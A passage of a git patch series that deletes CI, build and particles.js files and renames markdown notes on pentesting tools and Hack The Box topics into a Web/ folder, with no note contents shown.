100644 index a871f2a9172..00000000000 --- a/.travis.yml +++ /dev/null @@ -1,6 +0,0 @@ -language: ruby -cache: bundler -rvm: 2.6 - -install: script/bootstrap -script: script/cibuild From 1c609c981d5897e2d39b7aa9ed9e6a882324d1ac Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:28:48 +0200 Subject: [PATCH 0721/1701] Delete .gitignore --- .gitignore | 5 ----- 1 file changed, 5 deletions(-) delete mode 100644 .gitignore diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 822d5aaf017..00000000000 --- a/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -_site -.sass-cache -Gemfile.lock -*.gem -.jekyll-cache From cbe3cf2c41be683548d7e5424ed59e378cb94441 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:30:14 +0200 Subject: [PATCH 0722/1701] Delete release --- script/release | 42 ------------------------------------------ 1 file changed, 42 deletions(-) delete mode 100755 script/release diff --git a/script/release b/script/release deleted file mode 100755 index e27c696b440..00000000000 --- a/script/release +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/sh -# Tag and push a release. - -set -e - -# Make sure we're in the project root. - -cd $(dirname "$0")/.. - -# Make sure the darn thing works - -bundle update - -# Build a new gem archive. - -rm -rf jekyll-theme-hacker-*.gem -gem build -q jekyll-theme-hacker.gemspec - -# Make sure we're on the master branch. - -(git branch | grep -q 'master') || { - echo "Only release from the master branch." - exit 1 -} - -# Figure out what version we're releasing. - -tag=v`ls jekyll-theme-hacker-*.gem | sed 's/^jekyll-theme-hacker-\(.*\)\.gem$/\1/'` - -# Make sure we haven't released this version before. - -git fetch -t origin - -(git tag -l | grep -q "$tag") && { - echo "Whoops, there's already a '${tag}' tag." - exit 1 -} - -# Tag it and bag it. - -gem push jekyll-theme-hacker-*.gem && git tag "$tag" && - git push origin master && git push origin "$tag" From 0fdbd375dad57766e4ca30c2265442d37daa3f3e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:30:23 +0200 Subject: [PATCH 0723/1701] Delete bootstrap --- script/bootstrap | 6 ------ 1 file changed, 6 deletions(-) delete mode 100755 script/bootstrap diff --git a/script/bootstrap b/script/bootstrap deleted file mode 100755 index 492e5535f18..00000000000 --- a/script/bootstrap +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -set -e - -gem install bundler -bundle install From ea363c90541546989694f9b50c8e7e77e09ef112 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:30:33 +0200 Subject: [PATCH 0724/1701] Delete cibuild --- script/cibuild | 9 --------- 1 file changed, 9 deletions(-) delete mode 100755 script/cibuild diff --git a/script/cibuild b/script/cibuild deleted file mode 100755 index 308ad64a91b..00000000000 --- a/script/cibuild +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/sh - -set -e - -bundle exec jekyll build -bundle exec htmlproofer ./_site --check-html --check-sri -bundle exec rubocop -D --config .rubocop.yml -bundle exec script/validate-html -gem build jekyll-theme-hacker.gemspec From 74606ce855ddd1822a8a901fdacb45ff6936d690 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:30:43 +0200 Subject: [PATCH 0725/1701] Delete validate-html --- script/validate-html | 28 ---------------------------- 1 file changed, 28 deletions(-) delete mode 100755 script/validate-html diff --git a/script/validate-html b/script/validate-html deleted file mode 100755 index 43d8fca8945..00000000000 --- a/script/validate-html +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env ruby -# frozen_string_literal: true - -require "w3c_validators" - -def validator(file) - extension = File.extname(file) - if extension == ".html" - W3CValidators::NuValidator.new - elsif extension == ".css" - W3CValidators::CSSValidator.new - end -end - -def validate(file) - puts "Checking #{file}..." - - path = File.expand_path "../_site/#{file}", __dir__ - results = validator(file).validate_file(path) - - return puts "Valid!" if results.errors.empty? - - results.errors.each { |err| puts err.to_s } - exit 1 -end - -validate "index.html" -validate File.join "assets", "css", "style.css" From feefe283eb68c7413147ad6029bac60bd92ebd92 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:31:41 +0200 Subject: [PATCH 0726/1701] Delete js directory --- js/app.js | 112 ------------------------------------- js/particlesjs-config.json | 110 ------------------------------------ 2 files changed, 222 deletions(-) delete mode 100644 js/app.js delete mode 100644 js/particlesjs-config.json diff --git a/js/app.js b/js/app.js deleted file mode 100644 index e91bb9d2600..00000000000 --- a/js/app.js +++ /dev/null @@ -1,112 +0,0 @@ -particlesJS( -{ - "particles": { - "number": { - "value": 80, - "density": { - "enable": true, - "value_area": 800 - } - }, - "color": { - "value": "#59ff00" - }, - "shape": { - "type": "circle", - "stroke": { - "width": 0, - "color": "#000000" - }, - "polygon": { - "nb_sides": 5 - }, - "image": { - "src": "img/github.svg", - "width": 100, - "height": 100 - } - }, - "opacity": { - "value": 0.5, - "random": false, - "anim": { - "enable": false, - "speed": 1, - "opacity_min": 0.1, - "sync": false - } - }, - "size": { - "value": 3, - "random": true, - "anim": { - "enable": false, - "speed": 40, - "size_min": 0.1, - "sync": false - } - }, - "line_linked": { - "enable": true, - "distance": 150, - "color": "#ffffff", - "opacity": 0.4, - "width": 1 - }, - "move": { - "enable": true, - "speed": 6, - "direction": "none", - "random": false, - "straight": false, - "out_mode": "out", - "bounce": false, - "attract": { - "enable": false, - "rotateX": 600, - "rotateY": 1200 - } - } - }, - "interactivity": { - "detect_on": "canvas", - "events": { - "onhover": { - "enable": true, - "mode": "repulse" - }, - "onclick": { - "enable": true, - "mode": "push" - }, - "resize": true - }, - "modes": { - "grab": { - "distance": 400, - "line_linked": { - "opacity": 1 - } - }, - "bubble": { - "distance": 400, - "size": 40, - "duration": 2, - "opacity": 8, - "speed": 3 - }, - "repulse": { - "distance": 200, - "duration": 0.4 - }, - "push": { - "particles_nb": 4 - }, - "remove": { - "particles_nb": 2 - } - } - }, - "retina_detect": true -} -); diff --git a/js/particlesjs-config.json b/js/particlesjs-config.json deleted file mode 100644 index 769b40ab011..00000000000 --- a/js/particlesjs-config.json +++ /dev/null @@ -1,110 +0,0 @@ -{ - "particles": { - "number": { - "value": 80, - "density": { - "enable": true, - "value_area": 800 - } - }, - "color": { - "value": "#59ff00" - }, - "shape": { - "type": "circle", - "stroke": { - "width": 0, - "color": "#000000" - }, - "polygon": { - "nb_sides": 5 - }, - "image": { - "src": "img/github.svg", - "width": 100, - "height": 100 - } - }, - "opacity": { - "value": 0.5, - "random": false, - "anim": { - "enable": false, - "speed": 1, - "opacity_min": 0.1, - "sync": false - } - }, - "size": { - "value": 3, - "random": true, - "anim": { - "enable": false, - "speed": 40, - "size_min": 0.1, - "sync": false - } - }, - "line_linked": { - "enable": true, - "distance": 150, - "color": "#ffffff", - "opacity": 0.4, - "width": 1 - }, - "move": { - "enable": true, - "speed": 6, - "direction": "none", - "random": false, - "straight": false, - "out_mode": "out", - "bounce": false, - "attract": { - "enable": false, - "rotateX": 600, - "rotateY": 1200 - } - } - }, - "interactivity": { - "detect_on": "canvas", - "events": { - "onhover": { - "enable": true, - "mode": "repulse" - }, - "onclick": { - "enable": true, - "mode": "push" - }, - "resize": true - }, - "modes": { - "grab": { - "distance": 400, - "line_linked": { - "opacity": 1 - } - }, - "bubble": { - "distance": 400, - "size": 40, - "duration": 2, - "opacity": 8, - "speed": 3 - }, - "repulse": { - "distance": 200, - "duration": 0.4 - }, - "push": { - "particles_nb": 4 - }, - "remove": { - "particles_nb": 2 - } - } - }, - "retina_detect": true -} \ No newline at end of file From a77505465bfc45dcdc1ef785eea38da71979c979 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:35:48 +0200 Subject: [PATCH 0727/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/Art=C3=ADculo?= =?UTF-8?q?s-HTB.md=20to=20Web/Art=C3=ADculos/Art=C3=ADculos-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Art\303\255culos/Art\303\255culos-HTB.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/Art\303\255culos-HTB.md" => "Web/Art\303\255culos/Art\303\255culos-HTB.md" (100%) diff --git "a/Art\303\255culos/Art\303\255culos-HTB.md" "b/Web/Art\303\255culos/Art\303\255culos-HTB.md" similarity index 100% rename from "Art\303\255culos/Art\303\255culos-HTB.md" rename to "Web/Art\303\255culos/Art\303\255culos-HTB.md" From dcf15cc4dad7ca57a0b836a7858fc153cab85e1d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:36:21 +0200 Subject: [PATCH 0728/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/BufferOverflo?= =?UTF-8?q?w.md=20to=20Web/Art=C3=ADculos/BufferOverflow.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Art\303\255culos/BufferOverflow.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/BufferOverflow.md" => "Web/Art\303\255culos/BufferOverflow.md" (100%) diff --git "a/Art\303\255culos/BufferOverflow.md" "b/Web/Art\303\255culos/BufferOverflow.md" similarity index 100% rename from "Art\303\255culos/BufferOverflow.md" rename to "Web/Art\303\255culos/BufferOverflow.md" From db13a7590b892dcf7d8f20e922157da19166c3fa Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:36:54 +0200 Subject: [PATCH 0729/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/Como=5Fconect?= =?UTF-8?q?arse=5Fa=5FHTB.md=20to=20Web/Articulos/Como=5Fconectarse=5Fa=5F?= =?UTF-8?q?HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Articulos/Como_conectarse_a_HTB.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/Como_conectarse_a_HTB.md" => Web/Articulos/Como_conectarse_a_HTB.md (100%) diff --git "a/Art\303\255culos/Como_conectarse_a_HTB.md" b/Web/Articulos/Como_conectarse_a_HTB.md similarity index 100% rename from "Art\303\255culos/Como_conectarse_a_HTB.md" rename to Web/Articulos/Como_conectarse_a_HTB.md From a268deb3556542bd5575177625b76c529e7a382d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:37:24 +0200 Subject: [PATCH 0730/1701] =?UTF-8?q?Rename=20Web/Art=C3=ADculos/Art=C3=AD?= =?UTF-8?q?culos-HTB.md=20to=20Web/Articulos/Art=C3=ADculos-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Articulos/Art\303\255culos-HTB.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Web/Art\303\255culos/Art\303\255culos-HTB.md" => "Web/Articulos/Art\303\255culos-HTB.md" (100%) diff --git "a/Web/Art\303\255culos/Art\303\255culos-HTB.md" "b/Web/Articulos/Art\303\255culos-HTB.md" similarity index 100% rename from "Web/Art\303\255culos/Art\303\255culos-HTB.md" rename to "Web/Articulos/Art\303\255culos-HTB.md" From b1da2719256ed075511ecc6eea1adac7a7a405ef Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:37:49 +0200 Subject: [PATCH 0731/1701] =?UTF-8?q?Rename=20Web/Art=C3=ADculos/BufferOve?= =?UTF-8?q?rflow.md=20to=20Web/Articulos/BufferOverflow.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../BufferOverflow.md" => Web/Articulos/BufferOverflow.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Web/Art\303\255culos/BufferOverflow.md" => Web/Articulos/BufferOverflow.md (100%) diff --git "a/Web/Art\303\255culos/BufferOverflow.md" b/Web/Articulos/BufferOverflow.md similarity index 100% rename from "Web/Art\303\255culos/BufferOverflow.md" rename to Web/Articulos/BufferOverflow.md From 31c90ad50db39165d25c6f0f6acc665b4bb31e75 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:38:20 +0200 Subject: [PATCH 0732/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/Fase=5Fde=5Fr?= =?UTF-8?q?econocimiento-HTB.md=20to=20Web/Articulos/Fase=5Fde=5Freconocim?= =?UTF-8?q?iento-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Articulos/Fase_de_reconocimiento-HTB.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/Fase_de_reconocimiento-HTB.md" => Web/Articulos/Fase_de_reconocimiento-HTB.md (100%) diff --git "a/Art\303\255culos/Fase_de_reconocimiento-HTB.md" b/Web/Articulos/Fase_de_reconocimiento-HTB.md similarity index 100% rename from "Art\303\255culos/Fase_de_reconocimiento-HTB.md" rename to Web/Articulos/Fase_de_reconocimiento-HTB.md From 7eb3631f47a75f19889475a6e972cc07a0c7c1ac Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:38:46 +0200 Subject: [PATCH 0733/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/SSH.md=20to?= =?UTF-8?q?=20Web/Articulos/SSH.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Art\303\255culos/SSH.md" => Web/Articulos/SSH.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/SSH.md" => Web/Articulos/SSH.md (100%) diff --git "a/Art\303\255culos/SSH.md" b/Web/Articulos/SSH.md similarity index 100% rename from "Art\303\255culos/SSH.md" rename to Web/Articulos/SSH.md From 1e0a5d0eec4dcba1a2f159a837f282bb46876404 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:40:04 +0200 Subject: [PATCH 0734/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/Telnet.md=20t?= =?UTF-8?q?o=20Web/Articulos/Telnet.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Art\303\255culos/Telnet.md" => Web/Articulos/Telnet.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/Telnet.md" => Web/Articulos/Telnet.md (100%) diff --git "a/Art\303\255culos/Telnet.md" b/Web/Articulos/Telnet.md similarity index 100% rename from "Art\303\255culos/Telnet.md" rename to Web/Articulos/Telnet.md From 75ece7c03c5cd974a7faa02aad6abb2089782d29 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:40:51 +0200 Subject: [PATCH 0735/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/base64.md=20t?= =?UTF-8?q?o=20Web/Articulos/base64.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Art\303\255culos/base64.md" => Web/Articulos/base64.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/base64.md" => Web/Articulos/base64.md (100%) diff --git "a/Art\303\255culos/base64.md" b/Web/Articulos/base64.md similarity index 100% rename from "Art\303\255culos/base64.md" rename to Web/Articulos/base64.md From 3a4f5b021705b907528a2c024b1e8142c2b9aa28 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:41:20 +0200 Subject: [PATCH 0736/1701] =?UTF-8?q?Rename=20Art=C3=ADculos/tratamientoTT?= =?UTF-8?q?Y.md=20to=20Web/Articulos/tratamientoTTY.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../tratamientoTTY.md" => Web/Articulos/tratamientoTTY.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/tratamientoTTY.md" => Web/Articulos/tratamientoTTY.md (100%) diff --git "a/Art\303\255culos/tratamientoTTY.md" b/Web/Articulos/tratamientoTTY.md similarity index 100% rename from "Art\303\255culos/tratamientoTTY.md" rename to Web/Articulos/tratamientoTTY.md From 21f564e70f70dfd2dabd2306c95b37ab52e2bf06 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:42:57 +0200 Subject: [PATCH 0737/1701] Rename Herramientas_y_Scripts/ExtractPorts.md to Web/Herramientas_y_Scripts/ExtractPorts.md --- .../Herramientas_y_Scripts}/ExtractPorts.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/ExtractPorts.md (100%) diff --git a/Herramientas_y_Scripts/ExtractPorts.md b/Web/Herramientas_y_Scripts/ExtractPorts.md similarity index 100% rename from Herramientas_y_Scripts/ExtractPorts.md rename to Web/Herramientas_y_Scripts/ExtractPorts.md From d4ade3831ddf587faf41385177a818ab9e19a496 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:43:27 +0200 Subject: [PATCH 0738/1701] Rename Herramientas_y_Scripts/FFUF.md to Web/Herramientas_y_Scripts/FFUF.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/FFUF.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/FFUF.md (100%) diff --git a/Herramientas_y_Scripts/FFUF.md b/Web/Herramientas_y_Scripts/FFUF.md similarity index 100% rename from Herramientas_y_Scripts/FFUF.md rename to Web/Herramientas_y_Scripts/FFUF.md From ffcf30bf2dd5bd8db5172692920ad7c9fa855e54 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:43:57 +0200 Subject: [PATCH 0739/1701] Rename Herramientas_y_Scripts/Gobuster.md to Web/Herramientas_y_Scripts/Gobuster.md --- .../Herramientas_y_Scripts}/Gobuster.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Gobuster.md (100%) diff --git a/Herramientas_y_Scripts/Gobuster.md b/Web/Herramientas_y_Scripts/Gobuster.md similarity index 100% rename from Herramientas_y_Scripts/Gobuster.md rename to Web/Herramientas_y_Scripts/Gobuster.md From 77e50a0f97d4bed2d58d4213cff7143add579b70 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:44:19 +0200 Subject: [PATCH 0740/1701] Rename Herramientas_y_Scripts/Hash-Identifier.md to Web/Herramientas_y_Scripts/Hash-Identifier.md --- .../Herramientas_y_Scripts}/Hash-Identifier.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Hash-Identifier.md (100%) diff --git a/Herramientas_y_Scripts/Hash-Identifier.md b/Web/Herramientas_y_Scripts/Hash-Identifier.md similarity index 100% rename from Herramientas_y_Scripts/Hash-Identifier.md rename to Web/Herramientas_y_Scripts/Hash-Identifier.md From a391bc403bfd5a420b709bc439e0c2849039f61e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:44:39 +0200 Subject: [PATCH 0741/1701] Rename Herramientas_y_Scripts/HashCat.md to Web/Herramientas_y_Scripts/HashCat.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/HashCat.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/HashCat.md (100%) diff --git a/Herramientas_y_Scripts/HashCat.md b/Web/Herramientas_y_Scripts/HashCat.md similarity index 100% rename from Herramientas_y_Scripts/HashCat.md rename to Web/Herramientas_y_Scripts/HashCat.md From 80b3657365bbe52ae2f423127df0caf90c2d9a54 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:45:00 +0200 Subject: [PATCH 0742/1701] Rename Herramientas_y_Scripts/HashId.md to Web/Herramientas_y_Scripts/HashId.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/HashId.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/HashId.md (100%) diff --git a/Herramientas_y_Scripts/HashId.md b/Web/Herramientas_y_Scripts/HashId.md similarity index 100% rename from Herramientas_y_Scripts/HashId.md rename to Web/Herramientas_y_Scripts/HashId.md From 75faf0a5f73a14eb0747f296b615e1ea106442d7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:45:21 +0200 Subject: [PATCH 0743/1701] Rename Herramientas_y_Scripts/Metasploit.md to Web/Herramientas_y_Scripts/Metasploit.md --- .../Herramientas_y_Scripts}/Metasploit.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Metasploit.md (100%) diff --git a/Herramientas_y_Scripts/Metasploit.md b/Web/Herramientas_y_Scripts/Metasploit.md similarity index 100% rename from Herramientas_y_Scripts/Metasploit.md rename to Web/Herramientas_y_Scripts/Metasploit.md From c83dfb7cbf5b8c92136ca10041b426ed3fca5506 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:45:48 +0200 Subject: [PATCH 0744/1701] Rename Herramientas_y_Scripts/Nmap.md to Web/Herramientas_y_Scripts/Nmap.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Nmap.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Nmap.md (100%) diff --git a/Herramientas_y_Scripts/Nmap.md b/Web/Herramientas_y_Scripts/Nmap.md similarity index 100% rename from Herramientas_y_Scripts/Nmap.md rename to Web/Herramientas_y_Scripts/Nmap.md From ad5b19d57e3fe9beaa8a97fe0f3bf1c6bdef4d0f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:46:25 +0200 Subject: [PATCH 0745/1701] Rename Herramientas_y_Scripts/SQLmap.md to Web/Herramientas_y_Scripts/SQLmap.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/SQLmap.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/SQLmap.md (100%) diff --git a/Herramientas_y_Scripts/SQLmap.md b/Web/Herramientas_y_Scripts/SQLmap.md similarity index 100% rename from Herramientas_y_Scripts/SQLmap.md rename to Web/Herramientas_y_Scripts/SQLmap.md From 330eef78c50bafe4815d937dd334d6f4db8ccd39 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:46:44 +0200 Subject: [PATCH 0746/1701] Rename Herramientas_y_Scripts/Setoolkit.md to Web/Herramientas_y_Scripts/Setoolkit.md --- .../Herramientas_y_Scripts}/Setoolkit.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Setoolkit.md (100%) diff --git a/Herramientas_y_Scripts/Setoolkit.md b/Web/Herramientas_y_Scripts/Setoolkit.md similarity index 100% rename from Herramientas_y_Scripts/Setoolkit.md rename to Web/Herramientas_y_Scripts/Setoolkit.md From 06ea151cec19ef7428df93028af729ec7dea8df6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:47:03 +0200 Subject: [PATCH 0747/1701] Rename Herramientas_y_Scripts/WPScan.md to Web/Herramientas_y_Scripts/WPScan.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/WPScan.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/WPScan.md (100%) diff --git a/Herramientas_y_Scripts/WPScan.md b/Web/Herramientas_y_Scripts/WPScan.md similarity index 100% rename from Herramientas_y_Scripts/WPScan.md rename to Web/Herramientas_y_Scripts/WPScan.md From b629c6ba39964d4cfef8bb0ca399fd0d4df3d3bb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:47:22 +0200 Subject: [PATCH 0748/1701] Rename Herramientas_y_Scripts/Wfuzz.md to Web/Herramientas_y_Scripts/Wfuzz.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Wfuzz.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/Wfuzz.md (100%) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Web/Herramientas_y_Scripts/Wfuzz.md similarity index 100% rename from Herramientas_y_Scripts/Wfuzz.md rename to Web/Herramientas_y_Scripts/Wfuzz.md From 265aea2e20a674b6aad008fdbfebc2a929e60abf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:47:49 +0200 Subject: [PATCH 0749/1701] Rename Herramientas_y_Scripts/WichSystem.md to Web/Herramientas_y_Scripts/WichSystem.md --- .../Herramientas_y_Scripts}/WichSystem.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/WichSystem.md (100%) diff --git a/Herramientas_y_Scripts/WichSystem.md b/Web/Herramientas_y_Scripts/WichSystem.md similarity index 100% rename from Herramientas_y_Scripts/WichSystem.md rename to Web/Herramientas_y_Scripts/WichSystem.md From 94474789bbb9025423cb06cf9dffd2a4f3d7008e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:48:19 +0200 Subject: [PATCH 0750/1701] Rename Herramientas_y_Scripts/john_the_ripper.md to Web/Herramientas_y_Scripts/john_the_ripper.md --- .../Herramientas_y_Scripts}/john_the_ripper.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/john_the_ripper.md (100%) diff --git a/Herramientas_y_Scripts/john_the_ripper.md b/Web/Herramientas_y_Scripts/john_the_ripper.md similarity index 100% rename from Herramientas_y_Scripts/john_the_ripper.md rename to Web/Herramientas_y_Scripts/john_the_ripper.md From 6c2c10bcaa39047fb25d425725b44ec6c400647a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:48:56 +0200 Subject: [PATCH 0751/1701] Rename Herramientas_y_Scripts/mkt.md to Web/Herramientas_y_Scripts/mkt.md --- {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/mkt.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/mkt.md (100%) diff --git a/Herramientas_y_Scripts/mkt.md b/Web/Herramientas_y_Scripts/mkt.md similarity index 100% rename from Herramientas_y_Scripts/mkt.md rename to Web/Herramientas_y_Scripts/mkt.md From e579a4a5b4d9960a60fd90473434cb560736efee Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:49:20 +0200 Subject: [PATCH 0752/1701] Rename Herramientas_y_Scripts/php-reverse-shell.md to Web/Herramientas_y_Scripts/php-reverse-shell.md --- .../Herramientas_y_Scripts}/php-reverse-shell.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/php-reverse-shell.md (100%) diff --git a/Herramientas_y_Scripts/php-reverse-shell.md b/Web/Herramientas_y_Scripts/php-reverse-shell.md similarity index 100% rename from Herramientas_y_Scripts/php-reverse-shell.md rename to Web/Herramientas_y_Scripts/php-reverse-shell.md From aace25515f59d5c888150c669ed57430c3539235 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:49:40 +0200 Subject: [PATCH 0753/1701] Rename Herramientas_y_Scripts/searchSploit.md to Web/Herramientas_y_Scripts/searchSploit.md --- .../Herramientas_y_Scripts}/searchSploit.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {Herramientas_y_Scripts => Web/Herramientas_y_Scripts}/searchSploit.md (100%) diff --git a/Herramientas_y_Scripts/searchSploit.md b/Web/Herramientas_y_Scripts/searchSploit.md similarity index 100% rename from Herramientas_y_Scripts/searchSploit.md rename to Web/Herramientas_y_Scripts/searchSploit.md From b87eb75bf5f8876ac1f25c1946e1edfcd7ba82bf Mon Sep 17 00:00:00 2001 From: 